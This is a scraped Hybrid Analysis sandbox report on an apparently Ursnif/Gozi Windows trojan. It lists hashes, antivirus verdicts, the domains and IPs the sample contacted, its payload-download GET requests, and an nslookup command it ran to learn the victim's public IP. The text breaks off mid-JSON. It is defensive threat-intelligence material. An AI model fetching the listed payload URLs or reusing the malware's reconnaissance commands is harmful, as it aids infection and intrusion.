26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T492,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample f79de63b1432… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f79de63b1432…. Malware family: Trojan.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c"],"about":{"@type":"SoftwareApplication","name":"2018-05-11_08-55-07.exe","applicationCategory":["peexe","executable"],"identifier":"f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":19,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5d3,Heuristic match: "GET /images/ax.bin HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: archercm.com" Heuristic match: "GET /pic/top1/1.ats HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: zenzion.com" Heuristic match: "GET /loggers/991.zip HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: puccettiracing.it" Heuristic match: "GET /license/key/putty.dmg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: house2.gg12.net" Heuristic match: "[O8a`.LU" Heuristic match: "?`G.sb" Heuristic match: "#E0.CF" Heuristic match: "archercm.com" Heuristic match: "zenzion.com" Heuristic match: "puccettiracing.it" Heuristic match: "house2.gg12.net" Heuristic match: "resolver1.opendns.com" Heuristic match: "myip.opendns.com" Heuristic match: "222.222.67.208.in-addr.arpa" Heuristic match: "Server: resolver1.opendns.com" Heuristic match: "Name: myip.opendns.com" Heuristic match: "nslookup myip.opendns.com resolver1.opendns.com"28:T139d,Found malicious artifacts related to "64.40.144.28": ... URL: http://coyerparadise.com/blog/profile/ (AV positives: 1/67 scanned on 05/11/2018 08:11:44) URL: http://mccallshorseworld.com/Business/bookmark/index.php?email=minnchen@paypal.com (AV positives: 5/67 scanned on 05/11/2018 07:01:24) URL: http://mccallshorseworld.com/Flash/alibaba/vqcr8bp0gud&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc.php?email=comercial@arquimader.com (AV positives: 5/67 scanned on 05/11/2018 07:01:25) URL: http://www.rayflatt.com/cubecart/index.php?act=login&redir=L2N1YmVjYXJ0L2luZGV4LnBocD9hY3Q9dmlld1Byb2QmYW1wO3Byb2R1Y3RJZD00MzEwMw== (AV positives: 3/67 scanned on 05/11/2018 03:22:34) URL: http://www.rayflatt.com/cubecart/index.php?page=51092 (AV positives: 1/67 scanned on 05/10/2018 19:24:31) File SHA256: cf9af836cfd6daa504d0370c958c26e4b292e337af8200416e3344385e410a9c (AV positives: 28/60 scanned on 05/07/2018 12:05:19) File SHA256: 062065ac48d07997ed44043fae20539e0c361d96c2d03e5e56469ded61f09f36 (AV positives: 12/22 scanned on 04/06/2018 04:11:27) File SHA256: a15609ed0d096c7c044c431dc728e15b840caad6dba0b3aec9ec9c02d26f0c1f (AV positives: 26/57 scanned on 03/28/2018 11:30:35) File SHA256: 0b5b2ca67a62ea7029352748e000f1f71af72a97547bb233697aeb5326cbcef3 (AV positives: 34/59 scanned on 03/26/2018 18:16:21) File SHA256: db57d6ffef5ff649ce19623b726a226dfb0fd5c4afc3bd33628a309ad77021bd (AV positives: 22/60 scanned on 01/06/2018 19:35:54) Found malicious artifacts related to "212.112.245.170": ... URL: http://212.112.245.170/ (AV positives: 2/67 scanned on 05/07/2018 12:33:25) URL: https://212.112.245.170/ (AV positives: 1/65 scanned on 07/05/2017 02:43:33) URL: http://212.112.245.170/tor/status-vote/current/consensus/14C131%2027B6B5%2049015F%20585769%20805509%20D586D1%20E8A9C4%20ED03BB.z/ (AV positives: 2/67 scanned on 03/13/2016 12:32:20) URL: http://212.112.245.170/tor/status-vote/current/consensus/14C131%2027B6B5%2049015F%20585769%20805509%20D586D1%20E8A9C4%20ED03BB.z (AV positives: 2/67 scanned on 03/10/2016 14:34:22) URL: http://212.112.245.170/tor/keys/fp/D586D1/ (AV positives: 2/67 scanned on 03/03/2016 10:04:32) File SHA256: 5ab37f904c8e5ab52f591f94c4d60e5e62b3e1d8beb4a8c823cb170b68bf506f (Date: 01/08/2018 10:00:20) File SHA256: 5f01182bdfd768becfce58d8cd35366d89bb4f7717a9bd11a2afc7396169879a (Date: 12/24/2017 05:57:18) File SHA256: a035dc6d9a7ad265d1f7590bf035ba51257a8c57c6577164b95cd8ca9480c481 (Date: 12/14/2017 22:35:20) File SHA256: 2a1521fbe6a4243f85f237b6957609d592f0fa72c1ec5d3e95e62812fd1808ac (Date: 12/11/2017 05:51:22) File SHA256: 8bb5e8cb3e5d63ebd707d23da8c8af7f01feba000209f967d23f29f1b2d49401 (Date: 12/07/2017 08:40:33) File SHA256: a934446540f9ac12618cb9fac06319a844b8d53ff1ec41bf9ad5cfc0ae0f4f02 (AV positives: 40/54 scanned on 11/07/2014 00:27:08) File SHA256: 2d5e27863f4849e0cb2403c925d3a95bb673abf842f13f2e3c8ebff4942ea4c3 (AV positives: 38/53 scanned on 11/06/2014 18:34:52) File SHA256: 66e932737155bd8cb02f5e5ab27c93432fa4783fa1f286c11b9d8a823eef3939 (AV positives: 19/54 scanned on 10/31/2014 22:41:10) File SHA256: 4250317e035b7d11bb47685d6a61a5a2944f8a95e3e7a8c639b3da9de7b64b6d (AV positives: 38/54 scanned on 10/31/2014 10:52:48) File SHA256: 401019c1f22e8b8fa613d0c60174f6d55234c2bdc2e3184ec862d47a05d99068 (AV positives: 45/54 scanned on 10/30/2014 16:31:46) Found malicious artifacts related to "154.35.32.5": ... URL: http://154.35.32.5/ (AV positives: 5/67 scanned on 05/07/2018 12:44:32) URL: http://faravahar.rabbani.jp/ (AV positives: 1/67 scanned on 02/06/2018 02:24:20) URL: https://154.35.32.5/ (AV positives: 2/65 scanned on 06/18/2017 08:19:56) URL: http://154.35.32.5:443/ (AV positives: 3/64 scanned on 02/10/2017 09:43:11) URL: http://154.35.32.5/tor/server/authority.z/ (AV positives: 3/68 scanned on 08/10/2016 10:23:31) File SHA256: 7e0000e9fcb562465362603c5221bf8a9dba3eee7c40dfdfcf5c681cfa656b46 (Date: 03/06/2018 13:00:25) File SHA256: a09fd21f0e6520b35e690123729a0cd95e2c0172e7f006624160747947a9fd15 (Date: 03/03/2018 22:17:56) File SHA256: 71a191a76a1048c20c74d5c0ec93a5acddc6bdb7d6acb9428b8812b9501030d0 (Date: 03/02/2018 16:21:36) File SHA256: 492b34cb118ced3a11414749940670b4d1115b21afce7881db8db7627b707e06 (Date: 02/18/2018 07:40:19) File SHA256: 7ab5b2fb56d8d3805222d2734459ff13ccde515d673e28bfbbdc5ba08ad5c59b (Date: 02/18/2018 04:33:13) File SHA256: 7a4165c9fc7c0eec124808ddfb0251751ed88cab9c294ad1bdfe3614ca78f136 (AV positives: 31/56 scanned on 10/10/2016 14:08:53) File SHA256: 14f7e997c64d2f79749e9a0d87ee35c637dfe8f72eee5914d10236db6243279d (AV positives: 35/56 scanned on 10/08/2016 20:15:14) File SHA256: 5ad4948cff0db159078ec390b83e2dd2b1059eca53081a7c918d015c45f30321 (AV positives: 5/55 scanned on 10/06/2016 08:06:07) File SHA256: 48bb1ee07d61b8bc96558682e0e0089b51e5c21fdfbf4c6e45a7c3519c3b00bd (AV positives: 38/56 scanned on 10/06/2016 03:13:30) File SHA256: 16ad0b1772bfe3b3caaf66b81f0e5a32ea69efb8c567f2c3770e9567333f1908 (AV positives: 11/56 scanned on 10/04/2016 09:55:09)29:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790488021092,"unified_at":"2026-09-27T05:47:01.092Z","metadata":{"hashes":{"sha256":"f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c","sha1":"a075f947106b38d9e0f35f5f7fb0ef0c56a58d37","md5":"7ce264e2435b45dc0d74a3d288edf1a7","sha512":"d8a35b4b6fc3c1fbfc6a03df4bf68bbdb9f3b4e7543928285ad5db0738741a6ca6f148e9736c9fcb03c332706027cf9dd1a7e891d241325cbe23375119afd50d","ssdeep":"6144:YxaoeCKt97XN3snRUfD6mE9ibon37+RWECta9aGfTgm6GuzrnZgfJ4U2b:YxFwtYe4kMn36RCJGfUmAgh4U","ssdeep_chunks":["6144:YxaoeCK","6144:xaoeCKt","6144:aoeCKt9","6144:oeCKt97","6144:eCKt97X","6144:CKt97XN","6144:Kt97XN3","6144:t97XN3s","6144:97XN3sn","6144:7XN3snR","6144:XN3snRU","6144:N3snRUf","6144:3snRUfD","6144:snRUfD6","6144:nRUfD6m","6144:RUfD6mE","6144:UfD6mE9","6144:fD6mE9i","6144:D6mE9ib","6144:6mE9ibo","6144:mE9ibon","6144:E9ibon3","6144:9ibon37","6144:ibon37+","6144:bon37+R","6144:on37+RW","6144:n37+RWE","6144:37+RWEC","6144:7+RWECt","6144:+RWECta","6144:RWECta9","6144:WECta9a","6144:ECta9aG","6144:Cta9aGf","6144:ta9aGfT","6144:a9aGfTg","6144:9aGfTgm","6144:aGfTgm6","6144:GfTgm6G","6144:fTgm6Gu","6144:Tgm6Guz","6144:gm6Guzr","6144:m6Guzrn","6144:6GuzrnZ","6144:GuzrnZg","6144:uzrnZgf","6144:zrnZgfJ","6144:rnZgfJ4","6144:nZgfJ4U","6144:ZgfJ4U2","6144:gfJ4U2b","12288:YxaoeCK","12288:xaoeCKt","12288:aoeCKt9","12288:oeCKt97","12288:eCKt97X","12288:CKt97XN","12288:Kt97XN3","12288:t97XN3s","12288:97XN3sn","12288:7XN3snR","12288:XN3snRU","12288:N3snRUf","12288:3snRUfD","12288:snRUfD6","12288:nRUfD6m","12288:RUfD6mE","12288:UfD6mE9","12288:fD6mE9i","12288:D6mE9ib","12288:6mE9ibo","12288:mE9ibon","12288:E9ibon3","12288:9ibon37","12288:ibon37+","12288:bon37+R","12288:on37+RW","12288:n37+RWE","12288:37+RWEC","12288:7+RWECt","12288:+RWECta","12288:RWECta9","12288:WECta9a","12288:ECta9aG","12288:Cta9aGf","12288:ta9aGfT","12288:a9aGfTg","12288:9aGfTgm","12288:aGfTgm6","12288:GfTgm6G","12288:fTgm6Gu","12288:Tgm6Guz","12288:gm6Guzr","12288:m6Guzrn","12288:6GuzrnZ","12288:GuzrnZg","12288:uzrnZgf","12288:zrnZgfJ","12288:rnZgfJ4","12288:nZgfJ4U","12288:ZgfJ4U2","12288:gfJ4U2b","6144:YxFwtYe","6144:xFwtYe4","6144:FwtYe4k","6144:wtYe4kM","6144:tYe4kMn","6144:Ye4kMn3","6144:e4kMn36","6144:4kMn36R","6144:kMn36RC","6144:Mn36RCJ","6144:n36RCJG","6144:36RCJGf","6144:6RCJGfU","6144:RCJGfUm","6144:CJGfUmA","6144:JGfUmAg","6144:GfUmAgh","6144:fUmAgh4","6144:UmAgh4U"],"imphash":"22f5b5594b7b8f56d6d61df09579c314"},"file_info":{"file_name":"2018-05-11_08-55-07.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":530944,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1526029025000,"last_seen":1676656170000,"last_multi_scan":1676656170000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["gozi","isfb","papras","ursnif"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":21,"suspicious_count":18,"malicious_count":8,"total":47},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Crypt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1209923","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Zusy.284634","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Zusy.284634 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/GenKryptik.CBDY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005104261 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Spy.Win32.Ursnif.ytj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Packed-FCU!7CE264E2435B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Ursnif.fbrwhe","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Qbot-EH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Mal_Swizzor","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Mal_Swizzor","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Ursnif.GC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanSpy.Ursnif","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Generic.Win32.1629845","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 52474-1563-00411F67\n SetUnhandledExceptionFilter@KERNEL32.dll at 52474-3564-0040F261\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00023849-00003268-1317-16-0040AB68\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00023849-00003268-1317-17-0040CB7B\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00023849-00003268-1317-428-0040F261\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00023849-00003268-1317-269-00411F67","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00023849-00003268-1317-232-0040FB39","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"EnumSystemLocalesA@KERNEL32.DLL at 00023849-00003268-1317-132-0040C8B4\n EnumSystemLocalesA@KERNEL32.DLL at 00023849-00003268-1317-134-0040C84D\n GetUserDefaultLCID@KERNEL32.DLL at 00023849-00003268-1317-131-0040C8F0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"archercm.com\"\n \"zenzion.com\"\n \"puccettiracing.it\"\n \"house2.gg12.net\"\n \"resolver1.opendns.com\"\n \"myip.opendns.com\"\n \"222.222.67.208.in-addr.arpa\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"69.49.96.14:80\"\n \"103.230.124.230:80\"\n \"37.9.230.81:80\"\n \"64.40.144.28:80\"\n \"212.112.245.170:443\"\n \"154.35.32.5:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"explorer.exe\" created file \"%TEMP%\\A584.tmp\"\n \"cmd.exe\" created file \"%TEMP%\\F0E0.bi1\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\{79FF8BE4-8422-134C-56BD-F8F7EA41AC1B}\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\{FBEB3D9D-1EF1-E525-005F-32E93403862D}\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\{11A1469B-3CE7-6B99-CED5-30CFE2D96473}\"\n \"Local\\{79FF8BE4-8422-134C-56BD-F8F7EA41AC1B}\"\n \"Local\\{11A1469B-3CE7-6B99-CED5-30CFE2D96473}\"\n \"Local\\{FBEB3D9D-1EF1-E525-005F-32E93403862D}\"\n \"{F281358C-A9F8-F4E9-C346-ED68A7DA711C}\"\n \"\\Sessions\\1\\BaseNamedObjects\\{F281358C-A9F8-F4E9-C346-ED68A7DA711C}\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /images/ax.bin HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: archercm.com\"\n \"GET /pic/top1/1.ats HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: zenzion.com\"\n \"GET /loggers/991.zip HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: puccettiracing.it\"\n \"GET /license/key/putty.dmg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: house2.gg12.net\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"explorer.exe\" (UID: 00036295-00001432) was launched with new environment variables: \"SESSIONNAME=\"Console\"\"\n Process \"explorer.exe\" (UID: 00036295-00001432) was launched with modified environment variables: \"Path\"\n Process \"explorer.exe\" (UID: 00036295-00001432) was launched with missing environment variables: \"PROMPT, MpConfig_ProductUserAppDataPath, MpConfig_ProductAppDataPath, MpConfig_ProductPath, MpConfig_ProductCodeName, MpConfig_ReportingGUID\"\n Process \"nslookup.exe\" (UID: 00038356-00003192) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"cmd.exe\" (UID: 00038402-00004092) was launched with missing environment variables: \"PROMPT\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /C \"nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\\F0E0.bi1\"\" on 2018-5-11.02:04:38.785\n \"cmd /C \"echo -------- >> %TEMP%\\F0E0.bi1\"\" on 2018-5-11.02:04:39.336","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"\" searching for class \"ProgMan\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"cmd /C \"nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\\F0E0.bi1\"\" (UID: 00038348-00002668)\n Spawned process \"nslookup.exe\" with commandline \"nslookup myip.opendns.com resolver1.opendns.com\" (UID: 00038356-00003192)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"echo -------- >> %TEMP%\\F0E0.bi1\"\" (UID: 00038402-00004092)","origin":"Monitored 